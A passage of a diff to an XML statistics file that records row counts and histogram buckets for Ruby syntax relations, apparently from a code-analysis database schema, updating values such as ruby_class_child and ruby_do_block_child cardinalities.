+                    <src>operator</src>
+                    <trg>ruby_call</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>540944</v>
                                 </b>
                             </bs>
                         </hist>
@@ -7751,15 +7946,15 @@
         </relation>
         <relation>
             <name>ruby_call_receiver</name>
-            <cardinality>538536</cardinality>
+            <cardinality>540944</cardinality>
             <columnsizes>
                 <e>
                     <k>ruby_call</k>
-                    <v>538536</v>
+                    <v>540944</v>
                 </e>
                 <e>
                     <k>receiver</k>
-                    <v>538536</v>
+                    <v>540944</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -7773,7 +7968,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>538536</v>
+                                    <v>540944</v>
                                 </b>
                             </bs>
                         </hist>
@@ -7789,7 +7984,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>538536</v>
+                                    <v>540944</v>
                                 </b>
                             </bs>
                         </hist>
@@ -7799,7 +7994,7 @@
         </relation>
         <relation>
             <name>ruby_case_child</name>
-            <cardinality>4123</cardinality>
+            <cardinality>4141</cardinality>
             <columnsizes>
                 <e>
                     <k>ruby_case__</k>
@@ -7811,7 +8006,7 @@
                 </e>
                 <e>
                     <k>child</k>
-                    <v>4123</v>
+                    <v>4141</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -7830,17 +8025,17 @@
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>324</v>
+                                    <v>315</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>497</v>
+                                    <v>504</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>5</b>
-                                    <v>185</v>
+                                    <v>189</v>
                                 </b>
                                 <b>
                                     <a>5</a>
@@ -7871,17 +8066,17 @@
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>324</v>
+                                    <v>315</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>497</v>
+                                    <v>504</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>5</b>
-                                    <v>185</v>
+                                    <v>189</v>
                                 </b>
                                 <b>
                                     <a>5</a>
@@ -7930,13 +8125,13 @@
                                     <v>6</v>
                                 </b>
                                 <b>
-                                    <a>31</a>
+                                    <a>32</a>
                                     <b>56</b>
                                     <v>6</v>
                                 </b>
                                 <b>
-                                    <a>114</a>
-                                    <b>273</b>
+                                    <a>115</a>
+                                    <b>276</b>
                                     <v>6</v>
                                 </b>
                                 <b>
@@ -7981,13 +8176,13 @@
                                     <v>6</v>
                                 </b>
                                 <b>
-                                    <a>31</a>
+                                    <a>32</a>
                                     <b>56</b>
                                     <v>6</v>
                                 </b>
                                 <b>
-                                    <a>114</a>
-                                    <b>273</b>
+                                    <a>115</a>
+                                    <b>276</b>
                                     <v>6</v>
                                 </b>
                                 <b>
@@ -8009,7 +8204,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>4123</v>
+                                    <v>4141</v>
                                 </b>
                             </bs>
                         </hist>
@@ -8025,7 +8220,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>4123</v>
+                                    <v>4141</v>
                                 </b>
                             </bs>
                         </hist>
@@ -8046,19 +8241,19 @@
         </relation>
         <relation>
             <name>ruby_case_match_clauses</name>
-            <cardinality>2</cardinality>
+            <cardinality>0</cardinality>
             <columnsizes>
                 <e>
                     <k>ruby_case_match</k>
-                    <v>2</v>
+                    <v>0</v>
                 </e>
                 <e>
                     <k>index</k>
-                    <v>1</v>
+                    <v>0</v>
                 </e>
                 <e>
                     <k>clauses</k>
-                    <v>2</v>
+                    <v>0</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -8068,13 +8263,7 @@
                     <val>
                         <hist>
                             <budget>12</budget>
-                            <bs>
-                                <b>
-                                    <a>1</a>
-                                    <b>2</b>
-                                    <v>2</v>
-                                </b>
-                            </bs>
+                            <bs/>
                         </hist>
                     </val>
                 </dep>
@@ -8084,13 +8273,7 @@
                     <val>
                         <hist>
                             <budget>12</budget>
-                            <bs>
-                                <b>
-                                    <a>1</a>
-                                    <b>2</b>
-                                    <v>2</v>
-                                </b>
-                            </bs>
+                            <bs/>
                         </hist>
                     </val>
                 </dep>
@@ -8100,13 +8283,7 @@
                     <val>
                         <hist>
                             <budget>12</budget>
-                            <bs>
-                                <b>
-                                    <a>2</a>
-                                    <b>3</b>
-                                    <v>1</v>
-                                </b>
-                            </bs>
+                            <bs/>
                         </hist>
                     </val>
                 </dep>
@@ -8116,13 +8293,7 @@
                     <val>
                         <hist>
                             <budget>12</budget>
-                            <bs>
-                                <b>
-                                    <a>2</a>
-                                    <b>3</b>
-                                    <v>1</v>
-                                </b>
-                            </bs>
+                            <bs/>
                         </hist>
                     </val>
                 </dep>
@@ -8162,15 +8333,15 @@
         </relation>
         <relation>
             <name>ruby_case_match_def</name>
-            <cardinality>2</cardinality>
+            <cardinality>0</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>2</v>
+                    <v>0</v>
                 </e>
                 <e>
                     <k>value</k>
-                    <v>2</v>
+                    <v>0</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -8196,13 +8367,7 @@
                     <val>
                         <hist>
                             <budget>12</budget>
-                            <bs>
-                                <b>
-                                    <a>1</a>
-                                    <b>2</b>
-                                    <v>2</v>
-                                </b>
-                            </bs>
+                            <bs/>
                         </hist>
                     </val>
                 </dep>
@@ -8232,7 +8397,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3</v>
+                                    <v>2</v>
                                 </b>
                             </bs>
                         </hist>
@@ -8248,7 +8413,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3</v>
+                                    <v>2</v>
                                 </b>
                             </bs>
                         </hist>
@@ -8306,11 +8471,11 @@
         </relation>
         <relation>
             <name>ruby_chained_string_child</name>
-            <cardinality>3380</cardinality>
+            <cardinality>3353</cardinality>
             <columnsizes>
                 <e>
                     <k>ruby_chained_string</k>
-                    <v>894</v>
+                    <v>885</v>
                 </e>
                 <e>
                     <k>index</k>
@@ -8318,7 +8483,7 @@
                 </e>
                 <e>
                     <k>child</k>
-                    <v>3380</v>
+                    <v>3353</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -8332,7 +8497,7 @@
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>308</v>
+                                    <v>302</v>
                                 </b>
                                 <b>
                                     <a>3</a>
@@ -8347,7 +8512,7 @@
                                 <b>
                                     <a>5</a>
                                     <b>6</b>
-                                    <v>126</v>
+                                    <v>122</v>
                                 </b>
                                 <b>
                                     <a>6</a>
@@ -8373,7 +8538,7 @@
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>308</v>
+                                    <v>302</v>
                                 </b>
                                 <b>
                                     <a>3</a>
@@ -8388,7 +8553,7 @@
                                 <b>
                                     <a>5</a>
                                     <b>6</b>
-                                    <v>126</v>
+                                    <v>122</v>
                                 </b>
                                 <b>
                                     <a>6</a>
@@ -8447,23 +8612,23 @@
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>81</a>
-                                    <b>82</b>
+                                    <a>80</a>
+                                    <b>81</b>
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>124</a>
-                                    <b>125</b>
+                                    <a>123</a>
+                                    <b>124</b>
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>186</a>
-                                    <b>187</b>
+                                    <a>185</a>
+                                    <b>186</b>
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>284</a>
-                                    <b>285</b>
+                                    <a>281</a>
+                                    <b>282</b>
                                     <v>6</v>
                                 </b>
                             </bs>
@@ -8513,23 +8678,23 @@
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>81</a>
-                                    <b>82</b>
+                                    <a>80</a>
+                                    <b>81</b>
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>124</a>
-                                    <b>125</b>
+                                    <a>123</a>
+                                    <b>124</b>
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>186</a>
-                                    <b>187</b>
+                                    <a>185</a>
+                                    <b>186</b>
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>284</a>
-                                    <b>285</b>
+                                    <a>281</a>
+                                    <b>282</b>
                                     <v>6</v>
                                 </b>
                             </bs>
@@ -8546,7 +8711,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3380</v>
+                                    <v>3353</v>
                                 </b>
                             </bs>
                         </hist>
@@ -8562,7 +8727,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3380</v>
+                                    <v>3353</v>
                                 </b>
                             </bs>
                         </hist>
@@ -8572,30 +8737,30 @@
         </relation>
         <relation>
             <name>ruby_chained_string_def</name>
-            <cardinality>894</cardinality>
+            <cardinality>885</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>894</v>
+                    <v>885</v>
                 </e>
             </columnsizes>
             <dependencies/>
         </relation>
         <relation>
             <name>ruby_class_child</name>
-            <cardinality>131549</cardinality>
+            <cardinality>130958</cardinality>
             <columnsizes>
                 <e>
                     <k>ruby_class</k>
-                    <v>15128</v>
+                    <v>15183</v>
                 </e>
                 <e>
                     <k>index</k>
-                    <v>1045</v>
+                    <v>1055</v>
                 </e>
                 <e>
                     <k>child</k>
-                    <v>131549</v>
+                    <v>130958</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -8609,57 +8774,57 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3260</v>
+                                    <v>3290</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>2362</v>
+                                    <v>2407</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>1559</v>
+                                    <v>1556</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>5</b>
-                                    <v>1250</v>
+                                    <v>1263</v>
                                 </b>
                                 <b>
                                     <a>5</a>
                                     <b>6</b>
-                                    <v>957</v>
+                                    <v>961</v>
                                 </b>
                                 <b>
                                     <a>6</a>
                                     <b>7</b>
-                                    <v>831</v>
+                                    <v>838</v>
                                 </b>
                                 <b>
                                     <a>7</a>
                                     <b>9</b>
-                                    <v>1127</v>
+                                    <v>1118</v>
                                 </b>
                                 <b>
                                     <a>9</a>
                                     <b>13</b>
-                                    <v>1269</v>
+                                    <v>1266</v>
                                 </b>
                                 <b>
                                     <a>13</a>
                                     <b>21</b>
-                                    <v>1184</v>
+                                    <v>1169</v>
                                 </b>
                                 <b>
                                     <a>21</a>
-                                    <b>76</b>
-                                    <v>1137</v>
+                                    <b>84</b>
+                                    <v>1143</v>
                                 </b>
                                 <b>
-                                    <a>77</a>
-                                    <b>333</b>
-                                    <v>185</v>
+                                    <a>85</a>
+                                    <b>336</b>
+                                    <v>167</v>
                                 </b>
                             </bs>
                         </hist>
@@ -8675,57 +8840,57 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3260</v>
+                                    <v>3290</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>2362</v>
+                                    <v>2407</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>1559</v>
+                                    <v>1556</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>5</b>
-                                    <v>1250</v>
+                                    <v>1263</v>
                                 </b>
                                 <b>
                                     <a>5</a>
                                     <b>6</b>
-                                    <v>957</v>
+                                    <v>961</v>
                                 </b>
                                 <b>
                                     <a>6</a>
                                     <b>7</b>
-                                    <v>831</v>
+                                    <v>838</v>
                                 </b>
                                 <b>
                                     <a>7</a>
                                     <b>9</b>
-                                    <v>1127</v>
+                                    <v>1118</v>
                                 </b>
                                 <b>
                                     <a>9</a>
                                     <b>13</b>
-                                    <v>1269</v>
+                                    <v>1266</v>
                                 </b>
                                 <b>
                                     <a>13</a>
                                     <b>21</b>
-                                    <v>1184</v>
+                                    <v>1169</v>
                                 </b>
                                 <b>
                                     <a>21</a>
-                                    <b>76</b>
-                                    <v>1137</v>
+                                    <b>84</b>
+                                    <v>1143</v>
                                 </b>
                                 <b>
-                                    <a>77</a>
-                                    <b>333</b>
-                                    <v>185</v>
+                                    <a>85</a>
+                                    <b>336</b>
+                                    <v>167</v>
                                 </b>
                             </bs>
                         </hist>
@@ -8741,72 +8906,72 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>88</v>
+                                    <v>37</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>3</v>
+                                    <v>63</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>94</v>
+                                    <v>81</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>5</b>
-                                    <v>103</v>
+                                    <v>113</v>
                                 </b>
                                 <b>
                                     <a>5</a>
                                     <b>7</b>
-                                    <v>75</v>
+                                    <v>81</v>
                                 </b>
                                 <b>
                                     <a>7</a>
                                     <b>9</b>
-                                    <v>85</v>
+                                    <v>81</v>
                                 </b>
                                 <b>
                                     <a>9</a>
                                     <b>12</b>
-                                    <v>91</v>
+                                    <v>88</v>
                                 </b>
                                 <b>
                                     <a>12</a>
-                                    <b>20</b>
+                                    <b>19</b>
                                     <v>85</v>
                                 </b>
                                 <b>
-                                    <a>20</a>
-                                    <b>30</b>
-                                    <v>78</v>
+                                    <a>19</a>
+                                    <b>29</b>
+                                    <v>81</v>
                                 </b>
                                 <b>
-                                    <a>31</a>
-                                    <b>52</b>
-                                    <v>78</v>
+                                    <a>30</a>
+                                    <b>56</b>
+                                    <v>81</v>
                                 </b>
                                 <b>
-                                    <a>53</a>
-                                    <b>89</b>
-                                    <v>78</v>
+                                    <a>56</a>
+                                    <b>94</b>
+                                    <v>81</v>
                                 </b>
                                 <b>
-                                    <a>90</a>
-                                    <b>208</b>
-                                    <v>78</v>
+                                    <a>96</a>
+                                    <b>228</b>
+                                    <v>81</v>
                                 </b>
                                 <b>
-                                    <a>214</a>
-                                    <b>1200</b>
-                                    <v>78</v>
+                                    <a>237</a>
+                                    <b>2116</b>
+                                    <v>81</v>
                                 </b>
                                 <b>
-                                    <a>1372</a>
-                                    <b>4803</b>
-                                    <v>25</v>
+                                    <a>2516</a>
+                                    <b>4819</b>
+                                    <v>12</v>
                                 </b>
                             </bs>
                         </hist>
@@ -8822,72 +8987,72 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>88</v>
+                                    <v>37</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>3</v>
+                                    <v>63</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>94</v>
+                                    <v>81</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>5</b>
-                                    <v>103</v>
+                                    <v>113</v>
                                 </b>
                                 <b>
                                     <a>5</a>
                                     <b>7</b>
-                                    <v>75</v>
+                                    <v>81</v>
                                 </b>
                                 <b>
                                     <a>7</a>
                                     <b>9</b>
-                                    <v>85</v>
+                                    <v>81</v>
                                 </b>
                                 <b>
                                     <a>9</a>
                                     <b>12</b>
-                                    <v>91</v>
+                                    <v>88</v>
                                 </b>
                                 <b>
                                     <a>12</a>
-                                    <b>20</b>
+                                    <b>19</b>
                                     <v>85</v>
                                 </b>
                                 <b>
-                                    <a>20</a>
-                                    <b>30</b>
-                                    <v>78</v>
+                                    <a>19</a>
+                                    <b>29</b>
+                                    <v>81</v>
                                 </b>
                                 <b>
-                                    <a>31</a>
-                                    <b>52</b>
-                                    <v>78</v>
+                                    <a>30</a>
+                                    <b>56</b>
+                                    <v>81</v>
                                 </b>
                                 <b>
-                                    <a>53</a>
-                                    <b>89</b>
-                                    <v>78</v>
+                                    <a>56</a>
+                                    <b>94</b>
+                                    <v>81</v>
                                 </b>
                                 <b>
-                                    <a>90</a>
-                                    <b>208</b>
-                                    <v>78</v>
+                                    <a>96</a>
+                                    <b>228</b>
+                                    <v>81</v>
                                 </b>
                                 <b>
-                                    <a>214</a>
-                                    <b>1200</b>
-                                    <v>78</v>
+                                    <a>237</a>
+                                    <b>2116</b>
+                                    <v>81</v>
                                 </b>
                                 <b>
-                                    <a>1372</a>
-                                    <b>4803</b>
-                                    <v>25</v>
+                                    <a>2516</a>
+                                    <b>4819</b>
+                                    <v>12</v>
                                 </b>
                             </bs>
                         </hist>
@@ -8903,7 +9068,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>131549</v>
+                                    <v>130958</v>
                                 </b>
                             </bs>
                         </hist>
@@ -8919,7 +9084,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>131549</v>
+                                    <v>130958</v>
                                 </b>
                             </bs>
                         </hist>
@@ -8929,15 +9094,15 @@
         </relation>
         <relation>
             <name>ruby_class_def</name>
-            <cardinality>16778</cardinality>
+            <cardinality>16841</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>16778</v>
+                    <v>16841</v>
                 </e>
                 <e>
                     <k>name</k>
-                    <v>16778</v>
+                    <v>16841</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -8951,7 +9116,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>16778</v>
+                                    <v>16841</v>
                                 </b>
                             </bs>
                         </hist>
@@ -8967,7 +9132,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>16778</v>
+                                    <v>16841</v>
                                 </b>
                             </bs>
                         </hist>
@@ -8977,15 +9142,15 @@
         </relation>
         <relation>
             <name>ruby_class_superclass</name>
-            <cardinality>13262</cardinality>
+            <cardinality>13314</cardinality>
             <columnsizes>
                 <e>
                     <k>ruby_class</k>
-                    <v>13262</v>
+                    <v>13314</v>
                 </e>
                 <e>
                     <k>superclass</k>
-                    <v>13262</v>
+                    <v>13314</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -8999,7 +9164,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>13262</v>
+                                    <v>13314</v>
                                 </b>
                             </bs>
                         </hist>
@@ -9015,7 +9180,55 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>13262</v>
+                                    <v>13314</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+            </dependencies>
+        </relation>
+        <relation>
+            <name>ruby_complex_def</name>
+            <cardinality>53</cardinality>
+            <columnsizes>
+                <e>
+                    <k>id</k>
+                    <v>53</v>
+                </e>
+                <e>
+                    <k>child</k>
+                    <v>53</v>
+                </e>
+            </columnsizes>
+            <dependencies>
+                <dep>
+                    <src>id</src>
+                    <trg>child</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>53</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>child</src>
+                    <trg>id</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>53</v>
                                 </b>
                             </bs>
                         </hist>
@@ -9025,23 +9238,23 @@
         </relation>
         <relation>
             <name>ruby_conditional_def</name>
-            <cardinality>3556</cardinality>
+            <cardinality>3464</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>3556</v>
+                    <v>3464</v>
                 </e>
                 <e>
                     <k>alternative</k>
-                    <v>3556</v>
+                    <v>3464</v>
                 </e>
                 <e>
                     <k>condition</k>
-                    <v>3556</v>
+                    <v>3464</v>
                 </e>
                 <e>
                     <k>consequence</k>
-                    <v>3556</v>
+                    <v>3464</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -9055,7 +9268,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3556</v>
+                                    <v>3464</v>
                                 </b>
                             </bs>
                         </hist>
@@ -9071,7 +9284,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3556</v>
+                                    <v>3464</v>
                                 </b>
                             </bs>
                         </hist>
@@ -9087,7 +9300,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3556</v>
+                                    <v>3464</v>
                                 </b>
                             </bs>
                         </hist>
@@ -9103,7 +9316,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3556</v>
+                                    <v>3464</v>
                                 </b>
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                         </hist>
@@ -9119,7 +9332,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
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+                                    <v>3464</v>
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@@ -9135,7 +9348,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3556</v>
+                                    <v>3464</v>
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@@ -9151,7 +9364,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3556</v>
+                                    <v>3464</v>
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                         </hist>
@@ -9167,7 +9380,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3556</v>
+                                    <v>3464</v>
                                 </b>
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                         </hist>
@@ -9183,7 +9396,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3556</v>
+                                    <v>3464</v>
                                 </b>
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                         </hist>
@@ -9199,7 +9412,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3556</v>
+                                    <v>3464</v>
                                 </b>
                             </bs>
                         </hist>
@@ -9215,7 +9428,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3556</v>
+                                    <v>3464</v>
                                 </b>
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                         </hist>
@@ -9231,7 +9444,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3556</v>
+                                    <v>3464</v>
                                 </b>
                             </bs>
                         </hist>
@@ -9241,11 +9454,11 @@
         </relation>
         <relation>
             <name>ruby_delimited_symbol_child</name>
-            <cardinality>1679</cardinality>
+            <cardinality>1739</cardinality>
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                 <e>
                     <k>ruby_delimited_symbol</k>
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+                    <v>1257</v>
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@@ -9253,7 +9466,7 @@
                 </e>
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@@ -9267,12 +9480,12 @@
                                 <b>
                                     <a>1</a>
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                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>226</v>
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                                 <b>
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@@ -9293,12 +9506,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
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                                 <b>
                                     <a>2</a>
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+                                    <v>245</v>
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                                 <b>
                                     <a>3</a>
@@ -9347,13 +9560,13 @@
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>95</a>
-                                    <b>96</b>
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+                                    <b>102</b>
                                     <v>3</v>
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                                 <b>
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-                                    <b>387</b>
+                                    <a>399</a>
+                                    <b>400</b>
                                     <v>3</v>
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                             </bs>
@@ -9398,13 +9611,13 @@
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>95</a>
-                                    <b>96</b>
+                                    <a>101</a>
+                                    <b>102</b>
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>386</a>
-                                    <b>387</b>
+                                    <a>399</a>
+                                    <b>400</b>
                                     <v>3</v>
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@@ -9421,7 +9634,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1679</v>
+                                    <v>1739</v>
                                 </b>
                             </bs>
                         </hist>
@@ -9437,7 +9650,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1679</v>
+                                    <v>1739</v>
                                 </b>
                             </bs>
                         </hist>
@@ -9447,11 +9660,11 @@
         </relation>
         <relation>
             <name>ruby_delimited_symbol_def</name>
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+            <cardinality>1257</cardinality>
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                 <e>
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@@ -9822,19 +10035,19 @@
         </relation>
         <relation>
             <name>ruby_do_block_child</name>
-            <cardinality>392587</cardinality>
+            <cardinality>395009</cardinality>
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                 <e>
                     <k>ruby_do_block</k>
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             <dependencies>
@@ -9848,32 +10061,32 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>47663</v>
+                                    <v>48036</v>
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                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>36523</v>
+                                    <v>36712</v>
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                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>21515</v>
+                                    <v>21583</v>
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                                 <b>
                                     <a>4</a>
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                                 <b>
                                     <a>5</a>
                                     <b>7</b>
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                                 <b>
                                     <a>7</a>
                                     <b>73</b>
-                                    <v>9793</v>
+                                    <v>9856</v>
                                 </b>
                             </bs>
                         </hist>
@@ -9889,32 +10102,32 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>47663</v>
+                                    <v>48036</v>
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                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>36523</v>
+                                    <v>36712</v>
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                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>21515</v>
+                                    <v>21583</v>
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                                 <b>
                                     <a>4</a>
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                                 <b>
                                     <a>5</a>
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-                                    <v>10518</v>
+                                    <v>10583</v>
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                                 <b>
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                                     <b>73</b>
-                                    <v>9793</v>
+                                    <v>9856</v>
                                 </b>
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                         </hist>
@@ -9935,7 +10148,7 @@
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>219</v>
+                                    <v>220</v>
                                 </b>
                                 <b>
                                     <a>4</a>
@@ -9973,18 +10186,18 @@
                                     <v>77</v>
                                 </b>
                                 <b>
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+                                    <a>175</a>
                                     <b>592</b>
                                     <v>77</v>
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                                 <b>
-                                    <a>757</a>
-                                    <b>6860</b>
+                                    <a>759</a>
+                                    <b>6873</b>
                                     <v>77</v>
                                 </b>
                                 <b>
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-                                    <b>10544</b>
+                                    <a>10571</a>
+                                    <b>10572</b>
                                     <v>12</v>
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@@ -10006,7 +10219,7 @@
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
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+                                    <v>220</v>
                                 </b>
                                 <b>
                                     <a>4</a>
@@ -10044,18 +10257,18 @@
                                     <v>77</v>
                                 </b>
                                 <b>
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+                                    <a>175</a>
                                     <b>592</b>
                                     <v>77</v>
                                 </b>
                                 <b>
-                                    <a>757</a>
-                                    <b>6860</b>
+                                    <a>759</a>
+                                    <b>6873</b>
                                     <v>77</v>
                                 </b>
                                 <b>
-                                    <a>10543</a>
-                                    <b>10544</b>
+                                    <a>10571</a>
+                                    <b>10572</b>
                                     <v>12</v>
                                 </b>
                             </bs>
@@ -10072,7 +10285,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>392587</v>
+                                    <v>395009</v>
                                 </b>
                             </bs>
                         </hist>
@@ -10088,7 +10301,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>392587</v>
+                                    <v>395009</v>
                                 </b>
                             </bs>
                         </hist>
@@ -10098,26 +10311,26 @@
         </relation>
         <relation>
             <name>ruby_do_block_def</name>
-            <cardinality>136559</cardinality>
+            <cardinality>137435</cardinality>
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                 <e>
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-                    <v>136559</v>
+                    <v>137435</v>
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         <relation>
             <name>ruby_do_block_parameters</name>
-            <cardinality>15052</cardinality>
+            <cardinality>15073</cardinality>
             <columnsizes>
                 <e>
                     <k>ruby_do_block</k>
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+                    <v>15073</v>
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             </columnsizes>
             <dependencies>
@@ -10131,7 +10344,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>15052</v>
+                                    <v>15073</v>
                                 </b>
                             </bs>
                         </hist>
@@ -10147,7 +10360,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>15052</v>
+                                    <v>15073</v>
                                 </b>
                             </bs>
                         </hist>
@@ -10157,11 +10370,11 @@
         </relation>
         <relation>
             <name>ruby_do_child</name>
-            <cardinality>9209</cardinality>
+            <cardinality>9177</cardinality>
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                 <e>
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@@ -10169,7 +10382,7 @@
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+                    <v>9177</v>
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@@ -10183,17 +10396,17 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
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                                 <b>
                                     <a>2</a>
                                     <b>3</b>
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                                 <b>
                                     <a>3</a>
                                     <b>4</b>
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                                 <b>
                                     <a>4</a>
@@ -10203,7 +10416,7 @@
                                 <b>
                                     <a>5</a>
                                     <b>7</b>
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+                                    <v>104</v>
                                 </b>
                                 <b>
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@@ -10218,7 +10431,7 @@
                                 <b>
                                     <a>9</a>
                                     <b>14</b>
-                                    <v>118</v>
+                                    <v>117</v>
                                 </b>
                                 <b>
                                     <a>14</a>
@@ -10244,17 +10457,17 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
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+                                    <v>324</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>274</v>
+                                    <v>273</v>
                                 </b>
                                 <b>
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                                     <b>4</b>
-                                    <v>193</v>
+                                    <v>191</v>
                                 </b>
                                 <b>
                                     <a>4</a>
@@ -10264,7 +10477,7 @@
                                 <b>
                                     <a>5</a>
                                     <b>7</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
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@@ -10279,7 +10492,7 @@
                                 <b>
                                     <a>9</a>
                                     <b>14</b>
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+                                    <v>117</v>
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                                 <b>
                                     <a>14</a>
@@ -10329,7 +10542,7 @@
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                                 <b>
                                     <a>112</a>
-                                    <b>1599</b>
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                                     <v>15</v>
                                 </b>
                             </bs>
@@ -10370,7 +10583,7 @@
                                 </b>
                                 <b>
                                     <a>112</a>
